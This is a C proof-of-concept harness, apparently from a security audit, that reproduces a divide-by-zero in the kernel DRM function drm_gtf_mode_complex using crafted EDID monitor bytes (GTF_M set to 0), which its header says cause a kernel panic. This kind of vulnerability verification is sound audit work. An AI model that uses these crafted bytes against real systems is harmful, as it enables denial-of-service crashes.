/*
 * gtf_kernel_extract.c — verbatim-extraction harness
 *
 * The function below is extracted MECHANICALLY (byte-for-byte) from
 * sys/dev/drm/drm_modes.c:drm_gtf_mode_complex() in the audit tree
 * (git 6cc80ee9). Only the drm_device/drm_display_mode types and the two
 * helpers drm_mode_create()/drm_mode_set_name() are stubbed; every
 * arithmetic statement — including the faulting division at the original
 * source lines (see __LINE__ tracking via markers below) — is unmodified.
 *
 * Inputs are the crafted-EDID bytes from evil_edid.bin (see gen_edid.py):
 *   GTF_M=0, GTF_2C=200, GTF_K=128, GTF_2J=200, hsize=1912, vsize=1195, vrefresh=60
 * Expected: integer divide by zero -> SIGFPE (kernel: #DE -> panic).
 */
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <stdbool.h>

#define u64 unsigned long long
#define DRM_MODE_FLAG_NHSYNC		(1 << 0)
#define DRM_MODE_FLAG_PVSYNC		(1 << 1)
#define DRM_MODE_FLAG_INTERLACE		(1 << 4)
#define DRM_MODE_FLAG_PHSYNC		(1 << 2)
#define DRM_MODE_FLAG_NVSYNC		(1 << 3)
struct drm_device { int dummy; };
struct drm_display_mode {
	int hdisplay, hsync_start, hsync_end, htotal;
	int vdisplay, vsync_start, vsync_end, vtotal;
	int clock, vrefresh;
	unsigned int flags;
	int hsync;
};
static struct drm_display_mode *drm_mode_create(struct drm_device *dev)
{
	return calloc(1, sizeof(struct drm_display_mode));
}
static void drm_mode_set_name(struct drm_display_mode *mode) { }

static struct drm_device dev;

/* ==== VERBATIM FUNCTION BODY FROM sys/dev/drm/drm_modes.c (lines 366-529) ==== */
#include "gtf_body.inc"
/* ==== END VERBATIM ==== */

static volatile unsigned char edid_dtd[18] = {
	0, 0, 0, 0xFD, /* r[3]=EDID_DETAIL_MONITOR_RANGE */
	0, 0, 0, 0, 0, 0,
	0x02,           /* r[10] secondary-GTF flag */
	0x00,
	0x01,           /* r[12] -> hbreak 2 */
	200,            /* r[13] -> GTF_2C */
	0x00, 0x00,     /* r[14],r[15] -> GTF_M = 0 */
	128,            /* r[16] -> GTF_K */
	200             /* r[17] -> GTF_2J */
};
static volatile int std_timing[2] = { 208, 0x00 };

#define do_div(n, base) do { u64 __b = (base); (n) /= __b; } while (0)
int main(void)
{
	/* drm_mode_std() decoding of the std timing pair (drm_edid.c:2102-2126) */
	int hsize = std_timing[0] * 8 + 248;
	int vsize = (hsize * 10) / 16;          /* aspect 00, revision >= 3 */
	int vrefresh = (std_timing[1] & 0x3f) + 60;

	/* drm_gtf2_*() decoding of the range descriptor (drm_edid.c:2018-2055) */
	int M  = (edid_dtd[15] << 8) + edid_dtd[14];
	int C2 = edid_dtd[13];
	int K  = edid_dtd[16];
	int J2 = edid_dtd[17];

	printf("crafted EDID decodes to: %dx%d@%d  M=%d 2C=%d K=%d 2J=%d\n",
	       hsize, vsize, vrefresh, M, C2, K, J2);
	fflush(stdout);

	/* drm_edid.c:2188-2193 LEVEL_GTF2 call, verbatim arguments */
	drm_gtf_mode_complex(&dev, hsize, vsize, vrefresh, 0, 0, M, C2, K, J2); /* return value ignored (int truncation of ptr is fine, we only care about the trap) */

	printf("survived (no trap)\n");
	return 0;
}
